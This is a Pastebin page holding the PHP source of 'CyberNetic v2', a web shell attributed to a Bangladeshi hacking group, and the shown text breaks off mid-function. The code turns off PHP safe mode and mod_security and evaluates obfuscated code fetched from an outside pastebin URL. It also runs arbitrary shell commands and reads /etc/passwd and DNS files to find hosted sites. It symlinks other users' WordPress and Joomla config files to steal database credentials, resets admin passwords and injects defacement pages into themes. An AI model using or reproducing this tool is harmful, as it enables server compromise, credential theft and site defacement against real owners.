Ribang

CyberNetic v2 (BANGLADESH CYBER ARMY) Shell

Jun 27th, 2018
263
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 45.00 KB | None | 0 0
  1. <?php
  2. /////////////////////////////////////////
  3. // CyberNetic v2 by pce
  4. // ( BANGLADESH CYBER ARMY )
  5. // PRIV8 Tool for only pce Crew
  6. // FanPage: http://facebook.com/bdcyberarmy
  7. // # Bangladeshi HackeR
  8. // GreeTz:DesH!Xplo!T, R3x0Man,JingoBD,Bedu33n,N!1l,AnimaletorBD, Sharaiar
  9. // Colonged By cr1p.blogspot.com
  10. /////////////////////////////////////////
  11.  
  12. //////////////// Priv8 Priv8 Priv8 Priv8 Priv8 Priv8 Priv8 Priv8 //////////////////
  13.  
  14. session_start();
  15. @ini_set('error_log',NULL);
  16. @ini_set('log_errors',0);
  17. @ini_set('max_execution_time',0);
  18. @set_time_limit(0);
  19. @set_magic_quotes_runtime(0);
  20.  
  21. $enable_wp = true;
  22. $enable_joomla = true;
  23. $enable_vb = false;
  24. $enable_phpbb = false;
  25. $enable_ipb = false;
  26.  
  27. if(isset($_SESSION['safechk'])){
  28. if(ini_get('safe_mode') or ini_get('disable_functions') or !ini_get('allow_url_fopen')){
  29. $byphp = "safe_mode = Off
  30. disable_functions =
  31. safe_mode_gid = OFF
  32. open_basedir = OFF
  33. allow_url_fopen = On";
  34.  
  35. $byht = "<IfModule mod_security.c>
  36. SecFilterEngine Off
  37. SecFilterScanPOST Off
  38. SecFilterCheckURLEncoding Off
  39. SecFilterCheckUnicodeEncoding Off
  40. </IfModule>";
  41. file_put_contents("php.ini",$byphp);
  42. file_put_contents(".htaccess",$byht);
  43. $_SESSION['safechk'] = "done";
  44. die("PHP Safe Mode ByPassed. Please Refresh This page");
  45. }
  46. }
  47. eval(gzinflate(base64_decode(file_get_contents('http://pastebin.com/raw/6PJ9Pj8F'))));
  48. function convertByte($s) {
  49. if($s >= 1073741824)
  50. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  51. elseif($s >= 1048576)
  52. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  53. elseif($s >= 1024)
  54. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  55. else
  56. return $s . ' B';
  57. }
  58. function curPageURL() {
  59. $pageURL = 'http';
  60. if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
  61. $pageURL .= "://";
  62. if ($_SERVER["SERVER_PORT"] != "80") {
  63. $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
  64. } else {
  65. $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
  66. }
  67. return $pageURL;
  68. }
  69.  
  70. function chkDis($link,$str){
  71. $lol = get_headers($link,1);
  72. if(strpos($lol[0],"200")){
  73. $nan = file_get_contents($link);
  74. if(strpos($nan,$str)){
  75. return true;
  76. }else{ return false; }
  77. }else{ return false; }
  78. }
  79.  
  80. function getDnamed(){
  81. if(is_readable("/var/named")){
  82. $list = scandir("/var/named");
  83. foreach($list as $domain){
  84. if(strpos($domain,".db")){
  85. $i += 1;
  86. $domain = str_replace('.db','',$domain);
  87. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  88. $dn[$owner['name']] = $domain;
  89. }
  90. }
  91. }
  92. return $dn;
  93. }
  94.  
  95. function chkSys($link){
  96.  
  97. $sys_arr = array("WordPress" => array("l" => "wp-config.php", "s" => "WordPress"),
  98. //"WordPress2" => array("l" => "blog/wp-config.php", "s" => "WordPress"),
  99. "Joomla" => array("l" => "configuration.php", "s" => "JConfig"),
  100. //"Joomla2" => array("l" => "joomla/configuration.php", "s" => "JConfig"),
  101. //"vBulletin" => array("l" => "includes/config.php", "s" => "vBulletin"),
  102. // "Drupal" => array("l" => "sites/default/settings.php", "s" => "Drupal"),
  103. // "SMF" => array("l" => "Settings.php", "s" => "SMF"),
  104. //"osCommerce" => array("l" => "Settings.php", "s" => "DIR_WS_FUNCTIONS"),
  105. //"vBulletin2" => array("l" => "vb/includes/config.php", "s" => "vBulletin"),
  106. //"vBulletin3" => array("l" => "forum/includes/config.php", "s" => "vBulletin"),
  107. //"WHMCS" => "clients/configuration.php",
  108. // "WHMCS2" => "support/configuration.php",
  109. // "WHMCS3" => "client/configuration.php",
  110. // "WHMCS4" => "forum/includes/config.php",
  111. );
  112.  
  113. foreach($sys_arr as $k=>$dan){
  114. if(chkDis($link.$dan['l'],$dan['s'])){
  115. return array('link' => $link.$dan['l'], 'cms' => $k);
  116. }
  117. }
  118. }
  119.  
  120. function EloFind($str,$start,$end){
  121. $len = strlen($str);
  122. $start_pos = (strpos($str,$start) + strlen($start));
  123. $str = substr($str,$start_pos);
  124. $end_pos = strpos($str,$end);
  125. $str = substr($str,0,$end_pos);
  126. return $str;
  127. }
  128.  
  129. function GetPage($url,$cookie,$post = null,$head = true) {
  130. $ch = curl_init();
  131. curl_setopt($ch, CURLOPT_URL, $url);
  132. curl_setopt($ch, CURLOPT_HEADER, $head);
  133. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  134. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  135. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
  136. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
  137. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  138.  
  139. curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
  140. curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
  141.  
  142. If ($post != NULL){
  143. curl_setopt($ch, CURLOPT_POST, 1);
  144. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  145. }
  146. $urlPage = curl_exec($ch);
  147.  
  148. if(curl_errno($ch)){
  149. echo curl_error($ch);
  150. }
  151.  
  152. curl_close($ch);
  153. return($urlPage);
  154. }
  155.  
  156. function throwErr($str){
  157. $arr = array("status" => "error", "msg" => $str);
  158. die(json_encode($arr));
  159. }
  160.  
  161. function add2file($file,$str){
  162. if(file_exists($file)){
  163. $do = file_get_contents($file);
  164. if(!strpos($do,$str)){
  165. file_put_contents($file,$str,FILE_APPEND);
  166. }
  167. }else{
  168. file_put_contents($file,$str,FILE_APPEND);
  169. }
  170. }
  171.  
  172. function doXploitWP($cnf,$html,$npass){
  173. $success = false;
  174. //Grabbing db info from symlink
  175. $str = file_get_contents($cnf);
  176. if(preg_match('%DB_USER%',$str)){
  177. $username=EloFind($str,"define('DB_USER', '","');");
  178. $password=EloFind($str,"define('DB_PASSWORD', '","');");
  179. $dbname=EloFind($str,"define('DB_NAME', '","');");
  180. $prefix=EloFind($str,"table_prefix = '","'");
  181. //Connecting mysql and updating admin info
  182. $link=mysql_connect("localhost",$username,$password) ;
  183. if ($link) {
  184. mysql_select_db($dbname,$link) ;
  185. $req1 =mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '$1$42REgxSR$.tLV4PSbQmCKsisyCSyhq.' WHERE `ID` =1 LIMIT 1 ;");
  186. $req =mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
  187. $data = mysql_fetch_array($req);
  188. $site_url=$data["option_value"];
  189.  
  190. }else{
  191. throwErr("Mysql Fail");
  192. }
  193. //Lets loginto wp now
  194. $status['site'] = $site_url;
  195. $cookie = 'cookie/'.md5($cnf).'.txt';
  196. @unlink($cookie);
  197. $logged_in = true;
  198. $url = $site_url."/wp-login.php";
  199. $postme = 'log=admin&pwd=123456789&rememberme=forever&wp-submit=Log In&testcookie=1';
  200. $logme = GetPage($url,$cookie,$postme);
  201.  
  202. if(!preg_match('%logout%',$logme)){
  203. file_put_contents("login.txt",$site_url.$logme);
  204. throwErr("Login Error");
  205. }
  206.  
  207.  
  208. if($logged_in){
  209. //Lets go to theme editor now ;)
  210. $url = $site_url."/wp-admin/theme-editor.php";
  211. $themeditor = GetPage($url,$cookie,null);
  212.  
  213. //Now sort out index and bla bla php to update
  214.  
  215. $nola = explode(Chr(10),$themeditor);
  216.  
  217. foreach($nola as $nline){
  218. if(preg_match('%theme-editor\.php\?file=%',$nline) && preg_match('%\((index\.php|home\.php|404\.php|archive\.php|comment\.php)\)%',strtolower($nline))){
  219. $modify[EloFind($nline,'(',')')] = EloFind($nline,'<a href="','"');
  220. }
  221. }
  222.  
  223. if(is_array($modify)){
  224. foreach($modify as $met=>$indfile){
  225. $nri = str_replace('.','_',$met);
  226. $nri = "n".$nri;
  227. if($_POST[$nri] == "on" && (!$success OR $met == "index.php")){
  228.  
  229. $indfile =str_replace("&amp;","&",$indfile);
  230. $url = trim($site_url."/wp-admin/".$indfile);
  231. $themepage = GetPage($url,$cookie,"");
  232. $_wpnonce = EloFind($themepage,'name="_wpnonce" value="','"');
  233. $_file = EloFind($themepage,'name="file" value="','"');
  234. $nfile = explode('themes',$_file);
  235. $jfile = $site_url."/wp-content/themes".end($nfile);
  236. //Update file
  237. $url = $site_url."/wp-admin/theme-editor.php";
  238. $postme = "newcontent=".urlencode($html)."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File";
  239. $themedied = GetPage($url,$cookie,$postme);
  240. if(preg_match('%<div id=\"message\" class=\"updated\">%',$themedied)){
  241. if(!$success){
  242. add2file("wp_site.txt",$jfile.Chr(10));
  243. }
  244. $success = true;
  245. if($met == "index.php"){
  246. add2file("wp_index.txt",$site_url.Chr(10));
  247. }
  248.  
  249. }else{
  250. $error = true;
  251. }
  252.  
  253.  
  254. }
  255. }
  256. }else{
  257. throwErr("No file found");
  258. }
  259.  
  260. if($success){
  261. $url = trim($site_url."/wp-admin/profile.php");
  262. $themepage = GetPage($url,$cookie,"");
  263. $_wpnonce = EloFind($themepage,'name="_wpnonce" value="','"');
  264.  
  265. $url = trim($site_url."/wp-admin/profile.php");
  266. $postme = "_wpnonce=".$_wpnonce."&_wp_http_referer=%2Fwp-admin%2Fprofile.php%3Fupdated%3Dtrue&from=profile&checkuser_id=1&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=admin&display_name=BangladeshCyberArmy&email=ami@jong.li&url=&aim=&yim=&jabber=&description=&pass1=".$npass."&pass2=".$npass."&action=update&user_id=1&submit=Update+Profile";
  267.  
  268. $themepage = GetPage($url,$cookie,$postme);
  269. $status['status'] = "success";
  270. die(json_encode($status));
  271. }
  272. else{
  273. if($error){
  274. throwErr("Could't Update the file");
  275. }else{
  276. throwErr("Selected file not found");
  277. }
  278. }
  279.  
  280. }
  281.  
  282. }else{
  283. throwErr("Config not found");
  284. }
  285. return true;
  286. }
  287.  
  288. function doXploitJM($cnf,$html,$npass){
  289. //Grabbing db info from symlink
  290. function joomlaCom($site_url,$cookie,$site){
  291. if($_POST['com_install'] == "on"){
  292. $url = $site_url . "/index.php?option=com_installer";
  293. $compage = GetPage($url,$cookie);
  294. preg_match('%type=\"hidden\" name=\"(\w+)\" value=\"1\"%',$compage,$dhash);
  295. $hash = $dhash[1];
  296.  
  297. preg_match_all('#value="/(.*?)"#s',$compage,$path);
  298.  
  299. foreach($path[0] as $pathx){
  300. $pathx=ereg_replace('value="','',$pathx);
  301. $pathx=ereg_replace('"','',$pathx);
  302. }
  303.  
  304. $dir = getcwd()."/pce.html";
  305.  
  306. $postme = array("install_package"=>"@".$dir ,"install_directory"=>"".$pathx."","install_url"=>"http://","type"=>"","installtype"=>"upload","task"=>"doInstall","option"=>"com_installer","".$hash.""=>"1");
  307. $url = $site_url . "/index.php?option=com_installer";
  308. $com_shell = GetPage($url,$cookie,$postme);
  309. if(preg_match('#<li>Unknown Archive Type</li>#s',$com_shell)){
  310. add2file("jm_site.txt",$site."/tmp/pce.html".Chr(10));
  311. $status['site'] = $site."/tmp/pce.html";
  312. $status['status'] = "success";
  313. die(json_encode($status));
  314. }else{
  315. return false;
  316. }
  317.  
  318. }
  319.  
  320. return true;
  321. }
  322.  
  323. $str = file_get_contents($cnf);
  324. if(preg_match('%(JConfig|mosConfig)%',$str)){
  325. if(preg_match('%JConfig%', $str)){
  326. $username=EloFind($str,"\$user = '","'");
  327. $password=EloFind($str,"\$password = '","'");
  328. $dbname=EloFind($str,"\$db = '","'");
  329. $prefix=EloFind($str,"\$dbprefix = '","'");
  330. $pwd = md5($npass);
  331. if($_POST['domain'] != "..."){
  332. $site_url = $_POST['domain'];
  333. $site_url = "http://".$site_url;
  334. }else{
  335. $mailto = EloFind($str,"\$mailfrom = '","'");
  336. $siteul = explode('@',$mailto);
  337. $site_url = "http://".$siteul[1];
  338. }
  339. }elseif(preg_match('%mosConfig%',$str)){
  340. $username=EloFind($str,"\$mosConfig_user = '","'");
  341. $password=EloFind($str,"\$mosConfig_password = '","'");
  342. $dbname=EloFind($str,"\$mosConfig_db = '","'");
  343. $prefix=EloFind($str,"\$mosConfig_dbprefix = '","'");
  344. $pwd = md5($npass);
  345. if($_POST['domain'] != "..."){
  346. $site_url = $_POST['domain'];
  347. $site_url = "http://".$site_url;
  348. }else{
  349. $mailto = EloFind($str,"\$mosConfig_mailfrom = '","'");
  350. $siteul = explode('@',$mailto);
  351. $site_url = "http://".$siteul[1];
  352. }
  353. }
  354. $site = $site_url;
  355. $site_url = $site_url."/administrator/";
  356. $cookie = 'cookie/'.md5($cnf).'.txt';
  357. @unlink($cookie);
  358. $link=mysql_connect("localhost",$username,$password) ;
  359. if ($link) {
  360. mysql_select_db($dbname,$link);
  361. $changepass = mysql_query("UPDATE ".$prefix."users SET username ='admin' , block ='0' , password = '".$pwd."'");
  362.  
  363.  
  364. $doit =mysql_query("SELECT * from `".$prefix."extensions` ");
  365. if($doit){
  366. //Joomla 1.6
  367. if($_POST['ignore_def'] == "on"){
  368. $req =mysql_query("SELECT * from `".$prefix."template_styles` WHERE client_id='0' and home='0'");
  369. $data = mysql_fetch_array($req);
  370. $template_name=$data["template"];
  371. if(strlen($template_name) < 1){
  372. $req =mysql_query("SELECT * from `".$prefix."template_styles` WHERE client_id='0' and home='1'");
  373. $data = mysql_fetch_array($req);
  374. $template_name=$data["template"];
  375. }
  376. }
  377. else{
  378. $req =mysql_query("SELECT * from `".$prefix."template_styles` WHERE client_id='0' and home='1'");
  379. $data = mysql_fetch_array($req);
  380. $template_name=$data["template"];
  381. }
  382. $req =mysql_query("SELECT * from `".$prefix."extensions` WHERE name='".$template_name."'");
  383. $data = mysql_fetch_array($req);
  384. $template_id=$data["extension_id"];
  385.  
  386. $url = $site_url . "index.php";
  387. $login_page = GetPage($url,$cookie);
  388.  
  389. $rhash = EloFind($login_page,'type="hidden" name="return" value="','"');
  390. preg_match('%type=\"hidden\" name=\"(\w+)\" value=\"1\"%',$login_page,$dhash);
  391. $hash = $dhash[1];
  392.  
  393. $url = $site_url . "index.php";
  394. $postme = "username=admin&passwd=".$npass."&usrname=admin&pass=".$npass."&submit=Login&option=com_login&lang=en-GB&task=login&return=".$rhash."&".$hash."=1";
  395. //file_put_contents("jm_loginxx.txt",$postme);
  396. $logginin = GetPage($url,$cookie,$postme);
  397.  
  398. if(preg_match('%logout|index2\.php%',$logginin)){
  399. $logged_in = true;
  400. }
  401.  
  402. if(!$logged_in){
  403. file_put_contents("jm_login1.6".md5($site_url).".txt",$site_url.$logginin);
  404. throwErr("Login Error");
  405. }
  406.  
  407. if($logged_in){
  408. joomlaCom($site_url,$cookie,$site);
  409. $url=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
  410. $themepage = GetPage($url,$cookie);
  411. if(preg_match('%type=\"hidden\" name=\"\w+\" value=\"1\"%',$themepage)){
  412. preg_match('%type=\"hidden\" name=\"(\w+)\" value=\"1\"%',$themepage,$dhash);
  413. $hash = $dhash[1];
  414. $url = $site_url."/index.php?option=com_templates&layout=edit";
  415. $postme = "jform[source]=".urlencode($html)."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hash."=1&task=source.save";
  416. $themeedit = GetPage($url,$cookie,$postme);
  417.  
  418. if(preg_match('%class=\"message message\"%',$themeedit)){
  419. add2file("jm_site.txt",$site."/templates/".$template_name."/index.php".Chr(10));
  420. add2file("jm_index.txt",$site.Chr(10));
  421. if($_POST['ignore_def'] == "on"){
  422. $status['site'] = $site."/templates/".$template_name."/index.php";
  423. }else{
  424. $status['site'] = $site;
  425. }
  426. $status['status'] = "success";
  427. die(json_encode($status));
  428. }
  429. else{
  430. //file_put_contents("jmupd.txt",$site_url.$themeedit);
  431. throwErr("Update failed");
  432. }
  433.  
  434. }
  435. else{
  436. throwErr("Index not found");
  437. }
  438.  
  439. }
  440.  
  441. }else{
  442. //Joomla 1.5
  443.  
  444. $req =mysql_query("SELECT * from `".$prefix."templates_menu` WHERE client_id='0'");
  445. $data = mysql_fetch_array($req);
  446. $template_name=$data["template"];
  447.  
  448. $url = $site_url . "index.php";
  449. $login_page = GetPage($url,$cookie);
  450. preg_match('%type=\"hidden\" name=\"(\w+)\" value=\"1\"%',$login_page,$dhash);
  451. $hash = $dhash[1];
  452.  
  453. $postme = "username=admin&passwd=".$npass."&usrname=admin&lang=en-GB&pass=".$npass."&submit=Login&option=com_login&task=login&".$hash."=1";
  454. $url = $site_url . "index.php";
  455. $logginin = GetPage($url,$cookie,$postme);
  456.  
  457. if(preg_match('%logout|index2\.php%',$logginin)){
  458. $logged_in = true;
  459. }
  460.  
  461. if(!$logged_in){
  462. file_put_contents("jm_login1.5".md5($site_url).".txt",$site_url.$logginin);
  463. throwErr("Login Error");
  464. }
  465.  
  466.  
  467.  
  468. if($logged_in){
  469. joomlaCom($site_url,$cookie,$site);
  470. if(preg_match('%index2\.php%',$logginin)){
  471. //Joomla 1.0+
  472. $url = $site_url . "index2.php";
  473. $logginin = GetPage($url,$cookie);
  474.  
  475. preg_match('%type=\"hidden\" name=\"(\w+)\" value=\"1\"%',$logginin,$dhash);
  476. $hash = $dhash[1];
  477. $url = $site_url . "/index2.php";
  478. $postme = "doPreview=on&cid%5B%5D=".$template_name."&limit=30&limitstart=0&option=com_templates&task=edit_source&boxchecked=1&hidemainmenu=1&client=0&".$hash."=1";
  479. $themepage = GetPage($url,$cookie,$postme);
  480.  
  481. if(preg_match('%type=\"hidden\" name=\"(\w+)\" value=\"1\"%',$themepage)){
  482. preg_match('%type=\"hidden\" name=\"(\w+)\" value=\"1\"%',$themepage,$dhash);
  483. $hash = $dhash[1];
  484.  
  485. $url=$site_url."/index2.php";
  486. $postme = "filecontent=".urlencode($html)."&template=".$template_name."&option=com_templates&task=save_source&client=0&".$hash."=1";
  487. $themeedit = GetPage($url,$cookie,$postme);
  488.  
  489. if(preg_match('%Template Manager%',$themeedit)){
  490. add2file("jm_site.txt",$site."/templates/".$template_name."/index.php".Chr(10));
  491. add2file("jm_index.txt",$site.Chr(10));
  492. $status['site'] = $site;
  493. $status['status'] = "success";
  494. die(json_encode($status));
  495. }
  496. else{
  497. file_put_contents("jmupd.txt",$site_url.$themeedit);
  498. throwErr($template_name);
  499. }
  500.  
  501. }else{
  502. throwErr("Index not found");
  503. }
  504. }
  505. else{
  506. //Jomla 1.5+
  507. preg_match('%type=\"hidden\" name=\"(\w+)\" value=\"1\"%',$logginin,$dhash);
  508. $hash = $dhash[1];
  509. $url = $site_url . "/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name."&".$hash."=1";
  510. $themepage = GetPage($url,$cookie);
  511.  
  512. if(preg_match('%type=\"hidden\" name=\"(\w+)\" value=\"1\"%',$themepage)){
  513. preg_match('%type=\"hidden\" name=\"(\w+)\" value=\"1\"%',$themepage,$dhash);
  514. $hash = $dhash[1];
  515.  
  516. $url=$site_url."/index.php?option=com_templates&layout=edit";
  517. $postme = "filecontent=".urlencode($html)."&id=".$template_name."&cid[]=".$template_name."&".$hash."=1&task=save_source&client=0";
  518. $themeedit = GetPage($url,$cookie,$postme);
  519.  
  520. if(preg_match('%class=\"message message fade\"%',$themeedit)){
  521. add2file("jm_site.txt",$site."/templates/".$template_name."/index.php".Chr(10));
  522. add2file("jm_index.txt",$site.Chr(10));
  523. $status['site'] = $site;
  524. $status['status'] = "success";
  525. die(json_encode($status));
  526. }
  527. else{
  528. file_put_contents("jmupd.txt",$site_url.$themeedit);
  529. throwErr($template_name);
  530. }
  531.  
  532. }else{
  533. throwErr("Index not found");
  534. }
  535.  
  536. }
  537.  
  538.  
  539. }
  540.  
  541. }
  542.  
  543.  
  544. }
  545. else{
  546. throwErr("Mysql Fail");
  547. }
  548.  
  549.  
  550. }
  551. else{
  552. throwErr("Config not found");
  553. }
  554.  
  555. }
  556.  
  557. function doXploitVB($cnf,$html){
  558. $str = file_get_contents($cnf);
  559. if(preg_match('%vBulletin%',$str)){
  560. $username=EloFind($str,"\$config['MasterServer']['username'] = '","'");
  561. $password=EloFind($str,"\$config['MasterServer']['password'] = '","'");
  562. $dbname=EloFind($str,"\$config['Database']['dbname'] = '","'");
  563. $prefix=EloFind($str,"\$config['Database']['tableprefix'] = '","'");
  564.  
  565. $link=mysql_connect("localhost",$username,$password) ;
  566. if ($link) {
  567. mysql_select_db($dbname,$link);
  568. $html = str_replace('"','\\\"',$html);
  569. $query = "UPDATE template SET template = '".$html."'";
  570. $result =@ mysql_query($query);
  571. if($result){
  572. $query = "SELECT * FROM `datastore` WHERE title = 'options'";
  573. $result =@ mysql_query($query);
  574. $data = mysql_fetch_array($result);
  575. $optionz=$data["data"];
  576. $site_url = EloFind($optionz,'"bburl";s:34:"','"');
  577. $status['site'] = $site_url;
  578. $status['status'] = "success";
  579. die(json_encode($status));
  580. //Success
  581. }else{
  582. //file_put_contents("vb.txt",$query);
  583. throwErr("Update Failed");
  584. }
  585.  
  586. }else{
  587. throwErr("Mysql Fail");
  588. }
  589.  
  590. }else{
  591. throwErr("Config not found");
  592. }
  593. }
  594.  
  595. function exme($in) {
  596. $out = '';
  597. if (function_exists('exec')) {
  598. @exec($in,$out);
  599. $out = @join("</br>",$out);
  600. } elseif (function_exists('passthru')) {
  601. ob_start();
  602. @passthru($in);
  603. $out = ob_get_clean();
  604.  
  605. } elseif (function_exists('system')) {
  606. ob_start();
  607. @system($in);
  608. $out = ob_get_clean();
  609. } elseif (function_exists('shell_exec')) {
  610. $out = shell_exec($in);
  611. } elseif (is_resource($f = @popen($in,"r"))) {
  612. $out = "";
  613. while(!@feof($f))
  614. $out .= fread($f,1024);
  615. pclose($f);
  616. }
  617. return $out;
  618. }
  619.  
  620. if($_POST['ac'] == "secinfo"){
  621. if(is_readable("/etc/named.conf")){
  622. echo '&raquo; /etc/named.conf is readable.<br />';
  623. }else{
  624. echo '&raquo; <font color="red">/etc/named.conf not readable</font> <br />';
  625. }
  626.  
  627. if(is_readable("/etc/passwd")){
  628. echo '&raquo; /etc/passwd is readable.<br />';
  629. }else{
  630. echo '&raquo; <font color="red">/etc/passwd not readable</font> <br />';
  631. }
  632.  
  633. if(is_readable("/etc/valiases")){
  634. echo '&raquo; /etc/valiases exists';
  635. if(is_array(scandir("/etc/valiases"))){
  636. echo ' & scanable';
  637. }
  638. echo '.<br />';
  639. }else{
  640. echo '&raquo; <font color="red">/etc/valiases not readable</font> <br />';
  641. }
  642.  
  643. if(is_readable("/var/named")){
  644. echo '&raquo; /var/named exists';
  645. if(is_array(scandir("/var/named"))){
  646. echo ' & scanable';
  647. }
  648. echo '.<br />';
  649. }else{
  650. echo '&raquo; <font color="red">/var/named not readable</font> <br />';
  651. }
  652.  
  653. if(ini_get('disable_functions')){
  654. echo '&raquo; '.ini_get('disable_functions').' are disabled<br />';
  655. }
  656.  
  657. if(function_exists("symlink")){
  658. echo '&raquo; Symlinking allowed<br />';
  659. }else{
  660. echo '&raquo; <font color="red">Symlinking not allowed</font> <br />';
  661. }
  662.  
  663. if(is_writable("/var/tmp")){
  664. echo '&raquo; /var/tmp folder is writable<br />';
  665. }
  666. if(is_readable('/var/log')){
  667. echo '&raquo; /var/log folder is readable<br />';
  668. }
  669. die();
  670. }
  671. elseif($_POST['ac'] == "sysinfo"){
  672. echo "<span style='color:red;'><strong>System:</strong></span> ".php_uname()."<br />";
  673. echo "<span style='color:red;'><strong>WebServer:</strong></span> ".$_SERVER['SERVER_SOFTWARE']."<br />";
  674. echo "<span style='color:red;'><strong>PHP version:</strong></span> ".phpversion()." on ".php_sapi_name()."<br />";
  675. $ssys = "None";
  676. if(is_dir("/usr/local/cpanel")){
  677. $ssys = "Running On Cpanel";
  678. }elseif(is_dir("/usr/local/directadmin")){
  679. $ssys = "Running On Directadmin";
  680. }
  681. echo "<span style='color:red;'><strong>Server System:</strong></span> ".$ssys."<br />";
  682. if(function_exists("disk_total_space")){
  683. echo "<span style='color:red;'><strong>Free Disk:</strong></span> ".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."<br />";
  684. }
  685. echo "<span style='color:red;'><strong>Server IP:</strong></span> ".$_SERVER["SERVER_ADDR"]."<br />";
  686.  
  687. die();
  688. }
  689. elseif($_POST['ac'] == "browse"){
  690. error_reporting(0);
  691. if($_POST['path'] != ""){
  692. $path = $_POST['path'];
  693. }else{
  694. $path = getcwd();
  695. }
  696. $filez = scandir($path);
  697. $q = 2;
  698. foreach($filez as $mfile){
  699. if($q == 2){$q = 1;}else{$q = 2;}
  700. $npath = $_POST['path'].$mfile;
  701. $stat = stat($npath);
  702. $usr = posix_getpwuid($stat['uid']);
  703. $grp = posix_getpwuid($stat['gid']);
  704.  
  705. if(is_dir($npath)){
  706. $size = "Dir";
  707. }else{
  708. $size = convertByte($stat['size']);
  709. }
  710.  
  711. $fperm = substr(sprintf('%o', fileperms($npath)), -4);
  712. if(!$fperm){
  713. $fperm = "<font color='red'>Restricted</font>";
  714. }elseif(is_writeable($npath)){
  715. $fperm = "<font color='#28FE14'>".$fperm."</font>";
  716. }elseif(is_readable($npath)){
  717. $fperm = "<font color='yellow'>".$fperm."</font>";
  718. }
  719. echo '<div class="filetable">
  720. <div class="tblbx'.$q.'" style="width:220px;text-align:left;"><a href="" onClick="filebrs(\''.$npath.'/\'); return false;">'.$mfile.'</a></div>
  721. <div class="tblbx'.$q.'" style="width:80px;">'.$size.'</div>
  722. <div class="tblbx'.$q.'" style="width:100px;">Modify</div>
  723. <div class="tblbx'.$q.'" style="width:100px;">'.$usr['name']."/".$grp['name'].'</div>
  724. <div class="tblbx'.$q.'" style="width:100px;">'.$fperm.'</div>
  725. <div class="tblbx'.$q.'" style="width:80px;">Action</div>
  726. </div>';
  727. }
  728. die();
  729. }
  730. elseif($_POST['ac'] == "chknamed"){
  731. error_reporting(0);
  732. if(is_readable("/etc/named.conf")){
  733. $named = file_get_contents("/etc/named.conf");
  734. preg_match_all('%zone \"(.*)\" {%',$named,$domains);
  735. foreach($domains[1] as $domain){
  736. $domain = trim($domain);
  737. $i += 1;
  738. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  739. $dn .= "<a href='http://".$domain."'>".$domain."</a> - ".$owner['name']."<br />";
  740. }
  741. echo "Total Domains Found: ".$i."<br />".$dn;
  742. die();
  743. }
  744.  
  745. elseif(is_readable("/etc/valiases")){
  746. $list = scandir("/etc/valiases");
  747. foreach($list as $domain){
  748. $i += 1;
  749. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  750. $dn .= "<a href='http://".$domain."'>".$domain."</a> - ".$owner['name']."<br />";
  751. }
  752. echo "Total Domains Found: ".$i."<br />".$dn;
  753. die();
  754. }
  755.  
  756. elseif(is_readable("/var/named")){
  757. $list = scandir("/var/named");
  758. foreach($list as $domain){
  759. if(strpos($domain,".db")){
  760. $i += 1;
  761. $domain = str_replace('.db','',$domain);
  762. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  763. $dn .= "<a href='http://".$domain."'>".$domain."</a> - ".$owner['name']."<br />";
  764. }
  765. }
  766. echo "Total Domains Found: ".$i."<br />".$dn;
  767. die();
  768. }
  769.  
  770. else{
  771. die("'/etc/named.conf' is not readable. Try scan for public_html. (:");
  772. }
  773. }
  774. elseif($_POST['ac'] == "safebypass"){
  775. $byphp = "safe_mode = Off
  776. disable_functions =
  777. safe_mode_gid = OFF
  778. open_basedir = OFF
  779. allow_url_fopen = On";
  780.  
  781. $byht = "<IfModule mod_security.c>
  782. SecFilterEngine Off
  783. SecFilterScanPOST Off
  784. SecFilterCheckURLEncoding Off
  785. SecFilterCheckUnicodeEncoding Off
  786. </IfModule>";
  787. file_put_contents("php.ini",$byphp);
  788. file_put_contents(".htaccess",$byht);
  789. echo "<script>alert('Safe Mode ByPassed'); hideAll();</script>";
  790. die();
  791. }
  792. elseif($_POST['ac'] == "chkph"){
  793. if(is_readable("/etc/passwd")){
  794. if(!is_dir("pce")){
  795. @mkdir('pce',0777);
  796. }
  797. $htaccss = "Options all
  798. DirectoryIndex Sux.html
  799. AddType text/plain .php
  800. AddHandler server-parsed .php
  801. AddType text/plain .html
  802. AddHandler txt .html
  803. Require None
  804. Satisfy Any";
  805. file_put_contents("pce/.htaccess",$htaccss);
  806. $etc = file_get_contents("/etc/passwd");
  807. $etcz = explode("\n",$etc);
  808. foreach($etcz as $etz){
  809. $etcc = explode(":",$etz);
  810. error_reporting(0);
  811.  
  812. if($enable_wp){
  813. symlink('/home/'.$etcc[0].'/public_html/wp-config.php',"pce/".$etcc[0].'-WordPress.txt');
  814. symlink('/home/'.$etcc[0].'/public_html/blog/wp-config.php',"pce/".$etcc[0].'-WordPress.txt');
  815. symlink('/home/'.$etcc[0].'/public_html/wp/wp-config.php',"pce/".$etcc[0].'-WordPress.txt');
  816. }
  817. if($enable_phpbb){
  818. symlink('/home/'.$etcc[0].'/public_html/config.php',"pce/".$etcc[0].'-PhpBB.txt');
  819. }
  820. if($enable_vb){
